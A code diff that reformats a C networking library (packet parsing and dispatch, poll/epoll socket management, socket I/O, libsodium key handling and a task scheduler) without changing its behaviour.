return false;
/* if peer->useSecure is true, body is encrypted */
laikaS_startInPacket(peer, false);
goto _HandlePacketBody;
case LAIKAPKT_VARPKT:
_HandlePacketVariadic:
/* try grabbing pktID & size */
if (laikaS_rawRecv(&peer->sock, sizeof(LAIKAPKT_ID) + sizeof(LAIKAPKT_SIZE), &recvd) !=
RAWSOCK_OK)
return false;
/* not worth queuing & setting pollIn for 3 bytes. if the connection is that slow, it was probably sent maliciously anyways */
if (recvd != sizeof(LAIKAPKT_ID) + sizeof(LAIKAPKT_SIZE))
LAIKA_ERROR("couldn't read whole LAIKAPKT_VARPKT\n");
/* not worth queuing & setting pollIn for 3 bytes. if the connection is that slow, it was
* probably sent maliciously anyways */
if (recvd != sizeof(LAIKAPKT_ID) + sizeof(LAIKAPKT_SIZE))
LAIKA_ERROR("couldn't read whole LAIKAPKT_VARPKT\n");
/* read packet size */
laikaS_readInt(&peer->sock, (void*)&peer->pktSize, sizeof(LAIKAPKT_SIZE));
/* read packet size */
laikaS_readInt(&peer->sock, (void *)&peer->pktSize, sizeof(LAIKAPKT_SIZE));
if (peer->pktSize > LAIKA_MAX_PKTSIZE)
LAIKA_ERROR("variable packet too large!\n");
if (peer->pktSize > LAIKA_MAX_PKTSIZE)
LAIKA_ERROR("variable packet too large!\n");
/* read pktID */
peer->pktID = laikaS_readByte(&peer->sock);
/* read pktID */
peer->pktID = laikaS_readByte(&peer->sock);
/* sanity check pktID, check valid handler & make sure it's marked as variadic */
if (peer->pktID >= LAIKAPKT_MAXNONE || peer->packetTbl[peer->pktID].handler == NULL || !peer->packetTbl[peer->pktID].variadic)
LAIKA_ERROR("requested packet id [%d] is not variadic!\n", peer->pktID);
/* sanity check pktID, check valid handler & make sure it's marked as variadic */
if (peer->pktID >= LAIKAPKT_MAXNONE || peer->packetTbl[peer->pktID].handler == NULL ||
!peer->packetTbl[peer->pktID].variadic)
LAIKA_ERROR("requested packet id [%d] is not variadic!\n", peer->pktID);
/* if peer->useSecure is true, body is encrypted */
laikaS_startInPacket(peer, true);
goto _HandlePacketBody;
default:
_HandlePacketBody:
/* try grabbing the rest of the packet */
if (laikaS_rawRecv(&peer->sock, peer->pktSize - peer->sock.inCount, &recvd) != RAWSOCK_OK)
return false;
/* if peer->useSecure is true, body is encrypted */
laikaS_startInPacket(peer, true);
goto _HandlePacketBody;
default:
_HandlePacketBody:
/* try grabbing the rest of the packet */
if (laikaS_rawRecv(&peer->sock, peer->pktSize - peer->sock.inCount, &recvd) != RAWSOCK_OK)
return false;
/* have we received the full packet? */
if (peer->pktSize == peer->sock.inCount) {
peer->pktSize = laikaS_endInPacket(peer);
/* have we received the full packet? */
if (peer->pktSize == peer->sock.inCount) {
peer->pktSize = laikaS_endInPacket(peer);
/* dispatch to packet handler */
peer->packetTbl[peer->pktID].handler(peer, peer->pktSize, peer->uData);
/* dispatch to packet handler */
peer->packetTbl[peer->pktID].handler(peer, peer->pktSize, peer->uData);
/* reset */
peer->sock.inCount = 0;
peer->pktID = LAIKAPKT_MAXNONE;
}
/* reset */
peer->sock.inCount = 0;
peer->pktID = LAIKAPKT_MAXNONE;
}
break;
break;
}
return laikaS_isAlive((&peer->sock));
}
bool laikaS_handlePeerOut(struct sLaika_socket *sock) {
struct sLaika_peer *peer = (struct sLaika_peer*)sock;
bool laikaS_handlePeerOut(struct sLaika_socket *sock)
{
struct sLaika_peer *peer = (struct sLaika_peer *)sock;
int sent;
if (peer->sock.outCount == 0) /* sanity check */
return true;
switch (laikaS_rawSend(&peer->sock, peer->sock.outCount, &sent)) {
case RAWSOCK_OK: /* we're ok! */
/* if POLLOUT was set, unset it */
laikaP_rmvPollOut(peer->pList, &peer->sock);
case RAWSOCK_OK: /* we're ok! */
/* if POLLOUT was set, unset it */
laikaP_rmvPollOut(peer->pList, &peer->sock);
return true;
case RAWSOCK_POLL: /* we've been asked to set the POLLOUT flag */
/* if POLLOUT wasn't set, set it so we'll be notified whenever the kernel has room :) */
laikaP_addPollOut(peer->pList, &peer->sock);
return true;
case RAWSOCK_POLL: /* we've been asked to set the POLLOUT flag */
/* if POLLOUT wasn't set, set it so we'll be notified whenever the kernel has room :) */
laikaP_addPollOut(peer->pList, &peer->sock);
return true;
default: /* panic! */
case RAWSOCK_CLOSED:
case RAWSOCK_ERROR:
return false;
return true;
default: /* panic! */
case RAWSOCK_CLOSED:
case RAWSOCK_ERROR:
return false;
}
}

View File

@ -1,38 +1,44 @@
#include "lpolllist.h"
#include "lerror.h"
#include "lmem.h"
#include "lpolllist.h"
/* ===================================[[ Helper Functions ]]==================================== */
typedef struct sLaika_hashMapElem {
typedef struct sLaika_hashMapElem
{
SOCKET fd;
struct sLaika_socket *sock;
} tLaika_hashMapElem;
int elem_compare(const void *a, const void *b, void *udata) {
int elem_compare(const void *a, const void *b, void *udata)
{
const tLaika_hashMapElem *ua = a;
const tLaika_hashMapElem *ub = b;
return ua->fd != ub->fd;
return ua->fd != ub->fd;
}
uint64_t elem_hash(const void *item, uint64_t seed0, uint64_t seed1) {
uint64_t elem_hash(const void *item, uint64_t seed0, uint64_t seed1)
{
const tLaika_hashMapElem *u = item;
return (uint64_t)(u->fd);
}
/* =====================================[[ PollList API ]]====================================== */
void laikaP_initPList(struct sLaika_pollList *pList) {
void laikaP_initPList(struct sLaika_pollList *pList)
{
laikaS_init();
/* setup hashmap */
pList->sockets = hashmap_new(sizeof(tLaika_hashMapElem), POLLSTARTCAP, 0, 0, elem_hash, elem_compare, NULL, NULL);
pList->sockets = hashmap_new(sizeof(tLaika_hashMapElem), POLLSTARTCAP, 0, 0, elem_hash,
elem_compare, NULL, NULL);
pList->revents = NULL; /* laikaP_pollList() will allocate the buffer */
pList->reventCap = POLLSTARTCAP/GROW_FACTOR;
pList->reventCap = POLLSTARTCAP / GROW_FACTOR;
pList->reventCount = 0;
pList->outQueue = NULL;
pList->outCap = POLLSTARTCAP/GROW_FACTOR;
pList->outCap = POLLSTARTCAP / GROW_FACTOR;
pList->outCount = 0;
#ifdef LAIKA_USE_EPOLL
@ -43,12 +49,15 @@ void laikaP_initPList(struct sLaika_pollList *pList) {
#else
pList->fds = NULL; /* laikaP_addSock will allocate the buffer */
pList->fdCapacity = POLLSTARTCAP/GROW_FACTOR; /* div by GROW_FACTOR since laikaM_growarray multiplies by GROW_FACTOR */
pList->fdCapacity =
POLLSTARTCAP /
GROW_FACTOR; /* div by GROW_FACTOR since laikaM_growarray multiplies by GROW_FACTOR */
pList->fdCount = 0;
#endif
}
void laikaP_cleanPList(struct sLaika_pollList *pList) {
void laikaP_cleanPList(struct sLaika_pollList *pList)
{
laikaM_free(pList->revents);
laikaM_free(pList->outQueue);
hashmap_free(pList->sockets);
@ -62,13 +71,14 @@ void laikaP_cleanPList(struct sLaika_pollList *pList) {
laikaS_cleanUp();
}
void laikaP_addSock(struct sLaika_pollList *pList, struct sLaika_socket *sock) {
void laikaP_addSock(struct sLaika_pollList *pList, struct sLaika_socket *sock)
{
/* add socket to hashmap */
hashmap_set(pList->sockets, &(tLaika_hashMapElem){.fd = sock->sock, .sock = sock});
#ifdef LAIKA_USE_EPOLL
pList->ev.events = EPOLLIN;
pList->ev.data.ptr = (void*)sock;
pList->ev.data.ptr = (void *)sock;
if (epoll_ctl(pList->epollfd, EPOLL_CTL_ADD, sock->sock, &pList->ev) == -1)
LAIKA_ERROR("epoll_ctl [ADD] failed\n");
@ -80,7 +90,8 @@ void laikaP_addSock(struct sLaika_pollList *pList, struct sLaika_socket *sock) {
#endif
}
void laikaP_rmvSock(struct sLaika_pollList *pList, struct sLaika_socket *sock) {
void laikaP_rmvSock(struct sLaika_pollList *pList, struct sLaika_socket *sock)
{
int i;
/* remove socket from hashmap */
@ -88,13 +99,14 @@ void laikaP_rmvSock(struct sLaika_pollList *pList, struct sLaika_socket *sock) {
/* make sure peer isn't in outQueue */
for (i = 0; i < pList->outCount; i++) {
if ((void*)pList->outQueue[i] == (void*)sock) {
if ((void *)pList->outQueue[i] == (void *)sock) {
laikaM_rmvarray(pList->outQueue, pList->outCount, i, 1);
}
}
#ifdef LAIKA_USE_EPOLL
/* epoll_event* isn't needed with EPOLL_CTL_DEL, however we still need to pass a NON-NULL pointer. [see: https://man7.org/linux/man-pages/man2/epoll_ctl.2.html#BUGS] */
/* epoll_event* isn't needed with EPOLL_CTL_DEL, however we still need to pass a NON-NULL
* pointer. [see: https://man7.org/linux/man-pages/man2/epoll_ctl.2.html#BUGS] */
if (epoll_ctl(pList->epollfd, EPOLL_CTL_DEL, sock->sock, &pList->ev) == -1) {
/* non-fatal error, socket probably just didn't exist, so ignore it. */
LAIKA_WARN("epoll_ctl [DEL] failed\n");
@ -112,13 +124,14 @@ void laikaP_rmvSock(struct sLaika_pollList *pList, struct sLaika_socket *sock) {
#endif
}
void laikaP_addPollOut(struct sLaika_pollList *pList, struct sLaika_socket *sock) {
void laikaP_addPollOut(struct sLaika_pollList *pList, struct sLaika_socket *sock)
{
if (sock->setPollOut)
return;
#ifdef LAIKA_USE_EPOLL
pList->ev.events = EPOLLIN | EPOLLOUT;
pList->ev.data.ptr = (void*)sock;
pList->ev.data.ptr = (void *)sock;
if (epoll_ctl(pList->epollfd, EPOLL_CTL_MOD, sock->sock, &pList->ev) == -1) {
/* non-fatal error, socket probably just didn't exist, so ignore it. */
LAIKA_WARN("epoll_ctl [MOD] failed\n");
@ -138,13 +151,14 @@ void laikaP_addPollOut(struct sLaika_pollList *pList, struct sLaika_socket *sock
sock->setPollOut = true;
}
void laikaP_rmvPollOut(struct sLaika_pollList *pList, struct sLaika_socket *sock) {
void laikaP_rmvPollOut(struct sLaika_pollList *pList, struct sLaika_socket *sock)
{
if (!sock->setPollOut)
return;
#ifdef LAIKA_USE_EPOLL
pList->ev.events = EPOLLIN;
pList->ev.data.ptr = (void*)sock;
pList->ev.data.ptr = (void *)sock;
if (epoll_ctl(pList->epollfd, EPOLL_CTL_MOD, sock->sock, &pList->ev) == -1) {
/* non-fatal error, socket probably just didn't exist, so ignore it. */
LAIKA_WARN("epoll_ctl [MOD] failed\n");
@ -164,7 +178,8 @@ void laikaP_rmvPollOut(struct sLaika_pollList *pList, struct sLaika_socket *sock
sock->setPollOut = false;
}
void laikaP_pushOutQueue(struct sLaika_pollList *pList, struct sLaika_socket *sock) {
void laikaP_pushOutQueue(struct sLaika_pollList *pList, struct sLaika_socket *sock)
{
int i;
/* first, check that we don't have this peer in the queue already */
@ -173,15 +188,17 @@ void laikaP_pushOutQueue(struct sLaika_pollList *pList, struct sLaika_socket *so
return; /* found it :) */
}
laikaM_growarray(struct sLaika_socket*, pList->outQueue, 1, pList->outCount, pList->outCap);
laikaM_growarray(struct sLaika_socket *, pList->outQueue, 1, pList->outCount, pList->outCap);
pList->outQueue[pList->outCount++] = sock;
}
void laikaP_resetOutQueue(struct sLaika_pollList *pList) {
void laikaP_resetOutQueue(struct sLaika_pollList *pList)
{
pList->outCount = 0; /* ez lol */
}
void laikaP_flushOutQueue(struct sLaika_pollList *pList) {
void laikaP_flushOutQueue(struct sLaika_pollList *pList)
{
struct sLaika_socket *sock;
int i;
@ -195,14 +212,16 @@ void laikaP_flushOutQueue(struct sLaika_pollList *pList) {
laikaP_resetOutQueue(pList);
}
struct sLaika_pollEvent *laikaP_poll(struct sLaika_pollList *pList, int timeout, int *_nevents) {
struct sLaika_pollEvent *laikaP_poll(struct sLaika_pollList *pList, int timeout, int *_nevents)
{
int nEvents, i;
pList->reventCount = 0; /* reset revent array */
#ifdef LAIKA_USE_EPOLL
/* fastpath: we store the sLaika_socket* pointer directly in the epoll_data_t, saving us a lookup into our socket hashmap
not to mention the various improvements epoll() has over poll() :D
*/
/* fastpath: we store the sLaika_socket* pointer directly in the epoll_data_t, saving us a
lookup into our socket hashmap not to mention the various improvements epoll() has over
poll() :D
*/
nEvents = epoll_wait(pList->epollfd, pList->ep_events, MAX_EPOLL_EVENTS, timeout);
if (SOCKETERROR(nEvents))
@ -210,15 +229,16 @@ struct sLaika_pollEvent *laikaP_poll(struct sLaika_pollList *pList, int timeout,
for (i = 0; i < nEvents; i++) {
/* add event to revent array */
laikaM_growarray(struct sLaika_pollEvent, pList->revents, 1, pList->reventCount, pList->reventCap);
pList->revents[pList->reventCount++] = (struct sLaika_pollEvent){
.sock = pList->ep_events[i].data.ptr,
.pollIn = pList->ep_events[i].events & EPOLLIN,
.pollOut = pList->ep_events[i].events & EPOLLOUT
};
laikaM_growarray(struct sLaika_pollEvent, pList->revents, 1, pList->reventCount,
pList->reventCap);
pList->revents[pList->reventCount++] =
(struct sLaika_pollEvent){.sock = pList->ep_events[i].data.ptr,
.pollIn = pList->ep_events[i].events & EPOLLIN,
.pollOut = pList->ep_events[i].events & EPOLLOUT};
}
#else
nEvents = poll(pList->fds, pList->fdCount, timeout); /* poll returns -1 for error, or the number of events */
nEvents = poll(pList->fds, pList->fdCount,
timeout); /* poll returns -1 for error, or the number of events */
if (SOCKETERROR(nEvents))
LAIKA_ERROR("poll() failed!\n");
@ -228,15 +248,16 @@ struct sLaika_pollEvent *laikaP_poll(struct sLaika_pollList *pList, int timeout,
PollFD pfd = pList->fds[i];
if (pList->fds[i].revents != 0) {
/* grab socket from hashmap */
tLaika_hashMapElem *elem = (tLaika_hashMapElem*)hashmap_get(pList->sockets, &(tLaika_hashMapElem){.fd = (SOCKET)pfd.fd});
tLaika_hashMapElem *elem = (tLaika_hashMapElem *)hashmap_get(
pList->sockets, &(tLaika_hashMapElem){.fd = (SOCKET)pfd.fd});
/* insert event into revents array */
laikaM_growarray(struct sLaika_pollEvent, pList->revents, 1, pList->reventCount, pList->reventCap);
pList->revents[pList->reventCount++] = (struct sLaika_pollEvent){
.sock = elem->sock,
.pollIn = pfd.revents & POLLIN,
.pollOut = pfd.revents & POLLOUT
};
laikaM_growarray(struct sLaika_pollEvent, pList->revents, 1, pList->reventCount,
pList->reventCap);
pList->revents[pList->reventCount++] =
(struct sLaika_pollEvent){.sock = elem->sock,
.pollIn = pfd.revents & POLLIN,
.pollOut = pfd.revents & POLLOUT};
nEvents--;
}
@ -249,7 +270,8 @@ struct sLaika_pollEvent *laikaP_poll(struct sLaika_pollList *pList, int timeout,
return pList->revents;
}
bool laikaP_handleEvent(struct sLaika_pollEvent *evnt) {
bool laikaP_handleEvent(struct sLaika_pollEvent *evnt)
{
bool result = true;
/* sanity check */

View File

@ -1,14 +1,17 @@
#include "lsocket.h"
#include "lerror.h"
#include "lmem.h"
#include "lpacket.h"
#include "lpolllist.h"
#include "lsodium.h"
#include "lsocket.h"
#include "lpacket.h"
static int _LNSetup = 0;
bool laikaS_isBigEndian(void) {
union {
bool laikaS_isBigEndian(void)
{
union
{
uint32_t i;
uint8_t c[4];
} _indxint = {0xDEADB33F};
@ -16,7 +19,8 @@ bool laikaS_isBigEndian(void) {
return _indxint.c[0] == 0xDE;
}
void laikaS_init(void) {
void laikaS_init(void)
{
if (_LNSetup++ > 0)
return; /* WSA is already setup! */
@ -28,7 +32,8 @@ void laikaS_init(void) {
#endif
}
void laikaS_cleanUp(void) {
void laikaS_cleanUp(void)
{
if (--_LNSetup > 0)
return; /* WSA still needs to be up, a socket is still running */
@ -37,7 +42,9 @@ void laikaS_cleanUp(void) {
#endif
}
void laikaS_initSocket(struct sLaika_socket *sock, pollEvent onPollIn, pollEvent onPollOut, pollFailEvent onPollFail, void *uData) {
void laikaS_initSocket(struct sLaika_socket *sock, pollEvent onPollIn, pollEvent onPollOut,
pollFailEvent onPollFail, void *uData)
{
sock->sock = INVALID_SOCKET;
sock->onPollFail = onPollFail;
sock->onPollIn = onPollIn;
@ -55,7 +62,8 @@ void laikaS_initSocket(struct sLaika_socket *sock, pollEvent onPollIn, pollEvent
laikaS_init();
}
void laikaS_cleanSocket(struct sLaika_socket *sock) {
void laikaS_cleanSocket(struct sLaika_socket *sock)
{
/* free in & out arrays */
laikaM_free(sock->inBuf);
laikaM_free(sock->outBuf);
@ -65,7 +73,8 @@ void laikaS_cleanSocket(struct sLaika_socket *sock) {
laikaS_cleanUp();
}
void laikaS_kill(struct sLaika_socket *sock) {
void laikaS_kill(struct sLaika_socket *sock)
{
if (!laikaS_isAlive(sock)) /* sanity check */
return;
@ -80,7 +89,8 @@ void laikaS_kill(struct sLaika_socket *sock) {
sock->sock = INVALID_SOCKET;
}
void laikaS_connect(struct sLaika_socket *sock, char *ip, char *port) {
void laikaS_connect(struct sLaika_socket *sock, char *ip, char *port)
{
struct addrinfo res, *result, *curr;
if (!SOCKETINVALID(sock->sock))
@ -95,14 +105,15 @@ void laikaS_connect(struct sLaika_socket *sock, char *ip, char *port) {
if (getaddrinfo(ip, port, &res, &result) != 0)
LAIKA_ERROR("getaddrinfo() failed!\n");
/* getaddrinfo returns a list of possible addresses, step through them and try them until we find a valid address */
/* getaddrinfo returns a list of possible addresses, step through them and try them until we
* find a valid address */
for (curr = result; curr != NULL; curr = curr->ai_next) {
sock->sock = socket(curr->ai_family, curr->ai_socktype, curr->ai_protocol);
/* if it failed, try the next sock */
if (SOCKETINVALID(sock->sock))
continue;
/* if it's not an invalid socket, break and exit the loop, we found a working addr! */
if (!SOCKETINVALID(connect(sock->sock, curr->ai_addr, curr->ai_addrlen)))
break;
@ -116,7 +127,8 @@ void laikaS_connect(struct sLaika_socket *sock, char *ip, char *port) {
LAIKA_ERROR("couldn't connect a valid address handle to socket!\n");
}
void laikaS_bind(struct sLaika_socket *sock, uint16_t port) {
void laikaS_bind(struct sLaika_socket *sock, uint16_t port)
{
socklen_t addressSize;
struct sockaddr_in6 address;
int opt = 1;
@ -129,9 +141,9 @@ void laikaS_bind(struct sLaika_socket *sock, uint16_t port) {
if (SOCKETINVALID(sock->sock))
LAIKA_ERROR("socket() failed!\n");
/* allow reuse of local address */
/* allow reuse of local address */
#ifdef _WIN32
if (setsockopt(sock->sock, SOL_SOCKET, SO_REUSEADDR, (const char*)&opt, sizeof(int)) != 0)
if (setsockopt(sock->sock, SOL_SOCKET, SO_REUSEADDR, (const char *)&opt, sizeof(int)) != 0)
#else
if (setsockopt(sock->sock, SOL_SOCKET, SO_REUSEADDR, &opt, sizeof(int)) != 0)
#endif
@ -144,18 +156,19 @@ void laikaS_bind(struct sLaika_socket *sock, uint16_t port) {
addressSize = sizeof(address);
/* bind to the port */
if (SOCKETERROR(bind(sock->sock, (struct sockaddr*)&address, addressSize)))
if (SOCKETERROR(bind(sock->sock, (struct sockaddr *)&address, addressSize)))
LAIKA_ERROR("bind() failed!\n");
if (SOCKETERROR(listen(sock->sock, SOMAXCONN)))
LAIKA_ERROR("listen() failed!\n");
}
void laikaS_acceptFrom(struct sLaika_socket *sock, struct sLaika_socket *from, char *ip) {
void laikaS_acceptFrom(struct sLaika_socket *sock, struct sLaika_socket *from, char *ip)
{
struct sockaddr_in6 address;
socklen_t addressSize = sizeof(address);
sock->sock = accept(from->sock, (struct sockaddr*)&address, &addressSize);
sock->sock = accept(from->sock, (struct sockaddr *)&address, &addressSize);
if (SOCKETINVALID(sock->sock))
LAIKA_ERROR("accept() failed!\n");
@ -166,7 +179,8 @@ void laikaS_acceptFrom(struct sLaika_socket *sock, struct sLaika_socket *from, c
}
}
bool laikaS_setNonBlock(struct sLaika_socket *sock) {
bool laikaS_setNonBlock(struct sLaika_socket *sock)
{
#ifdef _WIN32
unsigned long mode = 1;
if (ioctlsocket(sock->sock, FIONBIO, &mode) != 0) {
@ -181,11 +195,13 @@ bool laikaS_setNonBlock(struct sLaika_socket *sock) {
return true;
}
void laikaS_consumeRead(struct sLaika_socket *sock, size_t sz) {
void laikaS_consumeRead(struct sLaika_socket *sock, size_t sz)
{
laikaM_rmvarray(sock->inBuf, sock->inCount, 0, sz);
}
void laikaS_zeroWrite(struct sLaika_socket *sock, size_t sz) {
void laikaS_zeroWrite(struct sLaika_socket *sock, size_t sz)
{
laikaM_growarray(uint8_t, sock->outBuf, sz, sock->outCount, sock->outCap);
/* set NULL bytes */
@ -193,12 +209,14 @@ void laikaS_zeroWrite(struct sLaika_socket *sock, size_t sz) {
sock->outCount += sz;
}
void laikaS_read(struct sLaika_socket *sock, void *buf, size_t sz) {
void laikaS_read(struct sLaika_socket *sock, void *buf, size_t sz)
{
memcpy(buf, sock->inBuf, sz);
laikaM_rmvarray(sock->inBuf, sock->inCount, 0, sz);
}
void laikaS_write(struct sLaika_socket *sock, void *buf, size_t sz) {
void laikaS_write(struct sLaika_socket *sock, void *buf, size_t sz)
{
/* make sure we have enough space to copy the buffer */
laikaM_growarray(uint8_t, sock->outBuf, sz, sock->outCount, sock->outCap);
@ -207,7 +225,8 @@ void laikaS_write(struct sLaika_socket *sock, void *buf, size_t sz) {
sock->outCount += sz;
}
void laikaS_writeKeyEncrypt(struct sLaika_socket *sock, void *buf, size_t sz, uint8_t *pub) {
void laikaS_writeKeyEncrypt(struct sLaika_socket *sock, void *buf, size_t sz, uint8_t *pub)
{
/* make sure we have enough space to encrypt the buffer */
laikaM_growarray(uint8_t, sock->outBuf, LAIKAENC_SIZE(sz), sock->outCount, sock->outCap);
@ -218,7 +237,9 @@ void laikaS_writeKeyEncrypt(struct sLaika_socket *sock, void *buf, size_t sz, ui
sock->outCount += LAIKAENC_SIZE(sz);
}
void laikaS_readKeyDecrypt(struct sLaika_socket *sock, void *buf, size_t sz, uint8_t *pub, uint8_t *priv) {
void laikaS_readKeyDecrypt(struct sLaika_socket *sock, void *buf, size_t sz, uint8_t *pub,
uint8_t *priv)
{
/* decrypt into buf */
if (crypto_box_seal_open(buf, sock->inBuf, LAIKAENC_SIZE(sz), pub, priv) != 0)
LAIKA_ERROR("Failed to decrypt!\n");
@ -226,12 +247,14 @@ void laikaS_readKeyDecrypt(struct sLaika_socket *sock, void *buf, size_t sz, uin
laikaM_rmvarray(sock->inBuf, sock->inCount, 0, LAIKAENC_SIZE(sz));
}
void laikaS_writeByte(struct sLaika_socket *sock, uint8_t data) {
void laikaS_writeByte(struct sLaika_socket *sock, uint8_t data)
{
laikaM_growarray(uint8_t, sock->outBuf, 1, sock->outCount, sock->outCap);
sock->outBuf[sock->outCount++] = data;
}
uint8_t laikaS_readByte(struct sLaika_socket *sock) {
uint8_t laikaS_readByte(struct sLaika_socket *sock)
{
uint8_t tmp = *sock->inBuf;
/* pop 1 byte */
@ -239,17 +262,18 @@ uint8_t laikaS_readByte(struct sLaika_socket *sock) {
return tmp;
}
void laikaS_readInt(struct sLaika_socket *sock, void *buf, size_t sz) {
void laikaS_readInt(struct sLaika_socket *sock, void *buf, size_t sz)
{
if (sock->flipEndian) {
VLA(uint8_t, tmp, sz); /* allocate tmp buffer to hold data while we switch endianness */
int k;
laikaS_read(sock, (void*)tmp, sz);
laikaS_read(sock, (void *)tmp, sz);
/* copy tmp buffer to user buffer, flipping endianness */
for (k = 0; k < sz; k++)
*((uint8_t*)buf + k) = tmp[sz - k - 1];
*((uint8_t *)buf + k) = tmp[sz - k - 1];
ENDVLA(tmp);
} else {
/* just a wrapper for laikaS_read */
@ -257,16 +281,17 @@ void laikaS_readInt(struct sLaika_socket *sock, void *buf, size_t sz) {
}
}
void laikaS_writeInt(struct sLaika_socket *sock, void *buf, size_t sz) {
void laikaS_writeInt(struct sLaika_socket *sock, void *buf, size_t sz)
{
if (sock->flipEndian) {
VLA(uint8_t, tmp, sz); /* allocate tmp buffer to hold data while we switch endianness */
int k;
/* copy user buffer to tmp buffer, flipping endianness */
for (k = 0; k < sz; k++)
tmp[k] = *((uint8_t*)buf + (sz - k - 1));
tmp[k] = *((uint8_t *)buf + (sz - k - 1));
laikaS_write(sock, (void*)tmp, sz);
laikaS_write(sock, (void *)tmp, sz);
ENDVLA(tmp);
} else {
/* just a wrapper for laikaS_write */
@ -274,7 +299,8 @@ void laikaS_writeInt(struct sLaika_socket *sock, void *buf, size_t sz) {
}
}
RAWSOCKCODE laikaS_rawRecv(struct sLaika_socket *sock, size_t sz, int *processed) {
RAWSOCKCODE laikaS_rawRecv(struct sLaika_socket *sock, size_t sz, int *processed)
{
RAWSOCKCODE errCode = RAWSOCK_OK;
int i, rcvd, start = sock->inCount;
@ -284,14 +310,16 @@ RAWSOCKCODE laikaS_rawRecv(struct sLaika_socket *sock, size_t sz, int *processed
/* make sure we have enough space to recv */
laikaM_growarray(uint8_t, sock->inBuf, sz, sock->inCount, sock->inCap);
rcvd = recv(sock->sock, (buffer_t*)&sock->inBuf[sock->inCount], sz, LN_MSG_NOSIGNAL);
rcvd = recv(sock->sock, (buffer_t *)&sock->inBuf[sock->inCount], sz, LN_MSG_NOSIGNAL);
if (rcvd == 0) {
errCode = RAWSOCK_CLOSED;
} else if (SOCKETERROR(rcvd) && LN_ERRNO != LN_EWOULD
} else if (SOCKETERROR(rcvd) &&
LN_ERRNO != LN_EWOULD
#ifndef _WIN32
/* if it's a posix system, also make sure its not a EAGAIN result (which is a recoverable error, there's just nothing to read lol) */
&& LN_ERRNO != EAGAIN
/* if it's a posix system, also make sure its not a EAGAIN result (which is a
recoverable error, there's just nothing to read lol) */
&& LN_ERRNO != EAGAIN
#endif
) {
/* if the socket closed or an error occurred, return the error result */
@ -318,13 +346,15 @@ RAWSOCKCODE laikaS_rawRecv(struct sLaika_socket *sock, size_t sz, int *processed
return errCode;
}
RAWSOCKCODE laikaS_rawSend(struct sLaika_socket *sock, size_t sz, int *processed) {
RAWSOCKCODE laikaS_rawSend(struct sLaika_socket *sock, size_t sz, int *processed)
{
RAWSOCKCODE errCode = RAWSOCK_OK;
int sent, i, sentBytes = 0;
/* write bytes to the socket until an error occurs or we finish sending */
do {
sent = send(sock->sock, (buffer_t*)(&sock->outBuf[sentBytes]), sz - sentBytes, LN_MSG_NOSIGNAL);
sent = send(sock->sock, (buffer_t *)(&sock->outBuf[sentBytes]), sz - sentBytes,
LN_MSG_NOSIGNAL);
/* check for error result */
if (sent == 0) { /* connection closed gracefully */
@ -333,7 +363,8 @@ RAWSOCKCODE laikaS_rawSend(struct sLaika_socket *sock, size_t sz, int *processed
} else if (SOCKETERROR(sent)) { /* socket error? */
if (LN_ERRNO != LN_EWOULD
#ifndef _WIN32
/* posix also has some platforms which define EAGAIN as a different value than EWOULD, might as well support it. */
/* posix also has some platforms which define EAGAIN as a different value than
EWOULD, might as well support it. */
&& LN_ERRNO != EAGAIN
#endif
) { /* socket error! */
@ -348,7 +379,7 @@ RAWSOCKCODE laikaS_rawSend(struct sLaika_socket *sock, size_t sz, int *processed
errCode = RAWSOCK_POLL;
goto _rawWriteExit;
}
} while((sentBytes += sent) < sz);
} while ((sentBytes += sent) < sz);
_rawWriteExit:
#if 0

View File

@ -2,23 +2,28 @@
#include <string.h>
bool laikaK_loadKeys(uint8_t *outPub, uint8_t *outPriv, const char *inPub, const char *inPriv) {
bool laikaK_loadKeys(uint8_t *outPub, uint8_t *outPriv, const char *inPub, const char *inPriv)
{
size_t _unused;
if (outPub && sodium_hex2bin(outPub, crypto_kx_PUBLICKEYBYTES, inPub, strlen(inPub), NULL, &_unused, NULL) != 0)
return false;
if (outPriv && sodium_hex2bin(outPriv, crypto_kx_SECRETKEYBYTES, inPriv, strlen(inPriv), NULL, &_unused, NULL) != 0)
if (outPub && sodium_hex2bin(outPub, crypto_kx_PUBLICKEYBYTES, inPub, strlen(inPub), NULL,
&_unused, NULL) != 0)
return false;
if (outPriv && sodium_hex2bin(outPriv, crypto_kx_SECRETKEYBYTES, inPriv, strlen(inPriv), NULL,
&_unused, NULL) != 0)
return false;
return true;
}
bool laikaK_genKeys(uint8_t *outPub, uint8_t *outPriv) {
bool laikaK_genKeys(uint8_t *outPub, uint8_t *outPriv)
{
return crypto_kx_keypair(outPub, outPriv) == 0;
}
bool laikaK_checkAuth(uint8_t *pubKey, uint8_t **authKeys, int keys) {
bool laikaK_checkAuth(uint8_t *pubKey, uint8_t **authKeys, int keys)
{
int i;
/* check if key is in authKey list */

View File

@ -1,19 +1,24 @@
#include "lmem.h"
#include "ltask.h"
/* this is the only reason C11 support is needed, i cba to write windows/linux specific stuff to get the current time in ms
also side note: microsoft? more like micropenis */
long laikaT_getTime() {
#include "lmem.h"
/* this is the only reason C11 support is needed, i cba to write windows/linux specific stuff to get
the current time in ms also side note: microsoft? more like micropenis */
long laikaT_getTime()
{
struct timespec ts;
timespec_get(&ts, TIME_UTC);
return ts.tv_sec*1000 + ts.tv_nsec/1000000; /* convert time (seconds & nanoseconds) to milliseconds */
return ts.tv_sec * 1000 +
ts.tv_nsec / 1000000; /* convert time (seconds & nanoseconds) to milliseconds */
}
void laikaT_initTaskService(struct sLaika_taskService *service) {
void laikaT_initTaskService(struct sLaika_taskService *service)
{
service->headTask = NULL;
}
void laikaT_cleanTaskService(struct sLaika_taskService *service) {
void laikaT_cleanTaskService(struct sLaika_taskService *service)
{
struct sLaika_task *curr = service->headTask, *last;
/* walk though tasks, freeing all */
@ -24,7 +29,8 @@ void laikaT_cleanTaskService(struct sLaika_taskService *service) {
}
}
void scheduleTask(struct sLaika_taskService *service, struct sLaika_task *task) {
void scheduleTask(struct sLaika_taskService *service, struct sLaika_task *task)
{
struct sLaika_task *curr = service->headTask, *last = NULL;
task->scheduled = laikaT_getTime() + task->delta;
@ -47,7 +53,8 @@ void scheduleTask(struct sLaika_taskService *service, struct sLaika_task *task)
}
}
void unscheduleTask(struct sLaika_taskService *service, struct sLaika_task *task) {
void unscheduleTask(struct sLaika_taskService *service, struct sLaika_task *task)
{
struct sLaika_task *curr = service->headTask, *last = NULL;
if (task == service->headTask) { /* if task is root, set root to next */
@ -65,7 +72,9 @@ void unscheduleTask(struct sLaika_taskService *service, struct sLaika_task *task
}
}
struct sLaika_task *laikaT_newTask(struct sLaika_taskService *service, int delta, taskCallback callback, void *uData) {
